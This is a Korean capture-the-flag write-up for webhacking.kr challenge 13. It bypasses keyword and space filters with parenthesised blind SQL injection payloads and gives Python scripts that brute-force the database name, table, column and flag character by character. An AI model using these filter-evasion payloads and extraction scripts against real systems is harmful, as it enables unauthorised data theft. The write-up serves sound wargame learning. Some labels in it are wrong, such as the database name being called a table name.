문제 페이지에 접속해보면 다음과 같은 페이지가 나온다.

쿼리 전송 입력창 부분에 1을 입력하면 다음과 같이 출력된다.

여기에 작은 따옴표로 문자열 탈출이 가능한지 확인한다.
입력
1' or 1=1--

역시나 필터링 되는 문자열들이 있나 보다. 필자가 여러 시도를 하면서 알아낸 필터링 되는 문자 및 문자열이 무엇인지 나열하자면 다음과 같다.
and
공백
=
#
--
&&
/
*
ascii
group_concat
where
like
그럼 위의 키워드들은 안 쓰면서 SQL Inejction을 수행해야 한다.
우선 SELECT 문으로 1을 출력해보자.
전술했듯 이 문제는 공백 문자를 필터링한다. 이 공백문자 필터링을 우회하는 한 방법으로, 괄호()를 활용하는 방법이 있다.
만약 이 백엔드의 SQL 쿼리문이 다음과 같다면
SELECT * FROM [테이블 이름] WHERE no=?
다음의 쿼리문을 통해 1을 출력할 수 있다.
(SELECT(1))
=>
SELECT * FROM [테이블 이름] WHERE no=(SELECT(1))
DB이름 구하기
그렇다면 DB의 이름은 다음의 쿼리문으로 Blind SQL Injection을 이용해 한 글자씩 구해볼 수 있다.
(0)OR(IF(ORD(SUBSTR((SELECT(DATABASE())),{},1))in({}),1,0))
Python Script
import requests
URL = "<https://webhacking.kr/challenge/web-10/>"
SUCCESS_INDICATOR = "1"
def check_condition(data):
params = {'no': data}
try:
r = requests.get(URL, params=params)
return SUCCESS_INDICATOR in r.text
except requests.exceptions.RequestException as e:
print(f"Request failed: {e}")
return
def find_database_name():
db_name = ""
sql = "select(database())"
i = 1
while True:
found = False
for chnum in range(33, 128):
data = "(0)OR(IF(ORD(SUBSTR(({}),{},1))in({}),1,0))".format(sql, i, chnum)
if check_condition(data):
db_name += chr(chnum)
print(f"[+] Found char {i}: {chr(chnum)} -> {db_name}")
found = True
break
if not found:
print(f"[-] Could not find character at position {i}")
break
i = i + 1
print(f"\\n[✔] Database name: {db_name}")
return None
⇒ 테이블 이름 : chall13
테이블 이름 구하기
우선 테이블의 개수를 구하자.
다음과 같은 Payload를 사용했다.
(0)or(IF((SELECT(SUM((TABLE_SCHEMA)IN((DATABASE()))))FROM(information_schema.TABLES))IN({}),1,0))
WHERE절을 지금 쓸 수가 없기 때문에 다른 방법을 사용해야 한다.
SELECT(SUM((TABLE_SCHEMA)IN((DATABASE()))
- TABLE_SCHEMA가 DB에 있을 때 결과가 참인 개수다.
위 Payload를 IF절 안에 넣어서 다음과 같이 구할 수 있다.
SELECT(SUM((TABLE_SCHEMA)IN((DATABASE()))))FROM(information_schema.TABLES)
- information_schema.TABLES안에 현재 DB의 테이블 개수를 출력한다.
위 Payload를 IF절에 넣고 (0)과 or을 활용하면 다음의 Payload로 테이블의 개수를 구할 수 있다.
(0)or(IF((SELECT(SUM((TABLE_SCHEMA)IN((DATABASE()))))FROM(information_schema.TABLES))IN({}),1,0))
Python Script
def find_table_count():
count = 1
found = False
while True:
data = "(0)or(IF((SELECT(SUM((TABLE_SCHEMA)IN((DATABASE()))))FROM(information_schema.TABLES))IN({}),1,0))".format(count)
if check_condition(data):
print(f"[+] Found database table count: {count}")
found = True
break
count += 1
if not found:
print(f"[-] Could not find character at position {count}")
⇒ 테이블 개수 : 2
그렇다면 테이블 이름
ORD(SUBSTR((SELECT(MIN(IF((SELECT(TABLE_SCHEMA)IN(DATABASE())),TABLE_NAME,NULL)))FROM(INFORMATION_SCHEMA.TABLES)),{},1))IN({})
(1) 테이블 이름 가져오기
SELECT(MIN(IF((SELECT(TABLE_SCHEMA)IN(DATABASE())),TABLE_NAME,NULL)))
FROM(INFORMATION_SCHEMA.TABLES)
- INFORMATION_SCHEMA.TABLES → 모든 테이블 목록
- TABLE_SCHEMA IN DATABASE() → 현재 DB에 속한 테이블만 필터링
⇒ 현재 DB의 테이블들 중 가장 작은 이름 하나(MIN)만 가져오기
(2) 왜 MIN을 쓰냐?
Blind SQLi에서는:
- 여러 행 반환 → 에러
- 하나만 반환 → 필요
그래서:
MIN(TABLE_NAME)
→ 항상 하나만 반환하도록 강제
(3) 특정 위치 문자 추출
SUBSTR( (...), i,1 )
- i번째 문자 가져오기
(4) ASCII 코드 변환
ORD(...)
문자 → 숫자 변환
예:
'a' → 97
(5) 비교
...IN (c)
실제 의미: i 번째 문자의 ASCII 값이 c인가?
Python Script
def find_table_name():
table_name = ""
i = 1
while True:
found = False
for chnum in range(33, 128):
data = "ORD(SUBSTR((SELECT(MIN(IF((SELECT(TABLE_SCHEMA)IN(DATABASE())),TABLE_NAME,NULL)))FROM(INFORMATION_SCHEMA.TABLES)),{},1))IN({})".format(i, chnum)
if check_condition(data):
table_name += chr(chnum)
print(f"[+] Found char {i}: {chr(chnum)} -> {table_name}")
found = True
break
if not found:
print(f"[-] Could not find character at position {i}")
break
i = i + 1
print(f"\\n[✔] Table name: {table_name}")
return None
⇒ 테이블 이름 : flag_ab733768
컬럼 이름 구하기
위에서 구한 테이블 이름이 ‘flag_ab733768’이므로, 다른 테이블 이름을 구하기 보단 여기에 FLAG가 있을 것으로 가정한다.
다음의 Payload를 사용했다.
ORD(SUBSTR((SELECT(MIN(IF((SELECT(TABLE_NAME)IN(0b{})),COLUMN_NAME,NULL)))FROM(INFORMATION_SCHEMA.COLUMNS)),{},1))IN({})
핵심 SQL 부분 해석
SELECT(MIN(IF((SELECT(TABLE_NAME)IN(0b...)),COLUMN_NAME,NULL)))
FROM(INFORMATION_SCHEMA.COLUMNS)
(SELECT(TABLE_NAME) IN (0b...)) : 현재 row의 TABLE_NAME을 숫자로 변환해서 우리가 만든 0b 값과 비교
IF(조건,COLUMN_NAME,NULL)
- 조건 맞으면 : COLUMN_NAME 반환
- 틀리면 : NULL
MIN() : 여러 컬럼 중 하나만 뽑기
전체 의미
현재 테이블 이름이 우리가 찾은 table_name과 같은 경우
→ 해당 테이블의 컬럼 이름 중 하나 반환
Python Script
def find_colunm_name():
# colunm_length = 0
table_name = 'flag_ab733768'
table_name =''.join(f'{ord(i):08b}' for i in table_name)
column_name = ''
i = 1
while True:
found = False
for chnum in range(33, 128):
data = "ORD(SUBSTR((SELECT(MIN(IF((SELECT(TABLE_NAME)IN(0b{})),COLUMN_NAME,NULL)))FROM(INFORMATION_SCHEMA.COLUMNS)),{},1))IN({})".format(table_name, i, chnum)
if check_condition(data):
column_name += chr(chnum)
print(f"[+] Found char {i}: {chr(chnum)} -> {column_name}")
found = True
break
if not found:
print(f"[-] Could not find character at position {i}")
break
i = i + 1
print(f"\\n[✔] Table name: {column_name}")
return None
⇒ 컬럼 이름 : ‘flag_3a55b31d’
Flag 추출
다음의 Payload 활용해서 Blind SQL Injection 실행
(0)OR(ORD(SUBSTR((SELECT(MAX({컬럼 이름}))FROM({테이블 이름})),{인덱스},1))IN({}))
- MAX 함수를 이용해서 전체 컬럼 값에서 하나만 추출
- SUBSTR() 함수를 이용해 글자를 하나씩 구하고 ORD()함수로 아스키 코드값 비교
(0)OR~
- ‘(0)OR(0)’이면 해당 인덱스의 글자가 IN안의 아스키코드 값의 글자가 아니라는 것이고
- ‘(0)OR(1)’이면 해당 인덱스의 글자가 IN안의 아스키코드 값의 글자가 맞다는 뜻
Python Script
def find_flag():
column_name = 'flag_3a55b31d'
table_name = 'flag_ab733768'
flag = ""
i = 1
while True:
found = False
for chnum in range(33, 128):
data = "(0)OR(ORD(SUBSTR((SELECT(MAX({}))FROM({})),{},1))IN({}))".format(column_name, table_name, i, chnum)
if check_condition(data):
flag += chr(chnum)
print(f"[+] Found char {i}: {chr(chnum)} -> {flag}")
found = True
break
if not found:
print(f"[-] Could not find character at position {i}")
break
i = i + 1
print(f"\\n[✔] Table name: {flag}")
return None
⇒ FLAG 값 : FLAG{challenge13gummyclear}

전체 Script
import requests
URL = "https://webhacking.kr/challenge/web-10/"
SUCCESS_INDICATOR = "<td>1</td>"
def check_condition(data):
params = {'no': data}
try:
r = requests.get(URL, params=params)
return SUCCESS_INDICATOR in r.text
except requests.exceptions.RequestException as e:
print(f"Request failed: {e}")
return
def find_database_name():
db_name = ""
sql = "select(database())"
i = 1
while True:
found = False
for chnum in range(33, 128):
data = "(0)OR(IF(ORD(SUBSTR(({}),{},1))in({}),1,0))".format(sql, i, chnum)
if check_condition(data):
db_name += chr(chnum)
print(f"[+] Found char {i}: {chr(chnum)} -> {db_name}")
found = True
break
if not found:
print(f"[-] Could not find character at position {i}")
break
i = i + 1
print(f"\n[✔] Database name: {db_name}")
return None
def find_table_count():
count = 1
found = False
while True:
data = "(0)or(IF((SELECT(SUM((TABLE_SCHEMA)IN((DATABASE()))))FROM(information_schema.TABLES))IN({}),1,0))".format(count)
if check_condition(data):
print(f"[+] Found database table count: {count}")
found = True
break
count += 1
if not found:
print(f"[-] Could not find character at position {count}")
def find_table_name():
table_name = ""
i = 1
while True:
found = False
for chnum in range(33, 128):
data = "ORD(SUBSTR((SELECT(MIN(IF((SELECT(TABLE_SCHEMA)IN(DATABASE())),TABLE_NAME,NULL)))FROM(INFORMATION_SCHEMA.TABLES)),{},1))IN({})".format(i, chnum)
if check_condition(data):
table_name += chr(chnum)
print(f"[+] Found char {i}: {chr(chnum)} -> {table_name}")
found = True
break
if not found:
print(f"[-] Could not find character at position {i}")
break
i = i + 1
print(f"\n[✔] Table name: {table_name}")
return None
def find_colunm_name():
# colunm_length = 0
table_name = 'flag_ab733768'
table_name =''.join(f'{ord(i):08b}' for i in table_name)
column_name = ''
i = 1
while True:
found = False
for chnum in range(33, 128):
data = "ORD(SUBSTR((SELECT(MIN(IF((SELECT(TABLE_NAME)IN(0b{})),COLUMN_NAME,NULL)))FROM(INFORMATION_SCHEMA.COLUMNS)),{},1))IN({})".format(table_name, i, chnum)
if check_condition(data):
column_name += chr(chnum)
print(f"[+] Found char {i}: {chr(chnum)} -> {column_name}")
found = True
break
if not found:
print(f"[-] Could not find character at position {i}")
break
i = i + 1
print(f"\n[✔] Table name: {column_name}")
return None
def find_flag():
column_name = 'flag_3a55b31d'
table_name = 'flag_ab733768'
flag = ""
i = 1
while True:
found = False
for chnum in range(33, 128):
data = "ORD(SUBSTR((SELECT(MAX({}))FROM({})),{},1))IN({})".format(column_name, table_name, i, chnum)
if check_condition(data):
flag += chr(chnum)
print(f"[+] Found char {i}: {chr(chnum)} -> {flag}")
found = True
break
if not found:
print(f"[-] Could not find character at position {i}")
break
i = i + 1
print(f"\n[✔] Table name: {flag}")
return None
if __name__ == "__main__":
find_database_name()
find_table_count()
find_table_name()
find_colunm_name()
find_flag()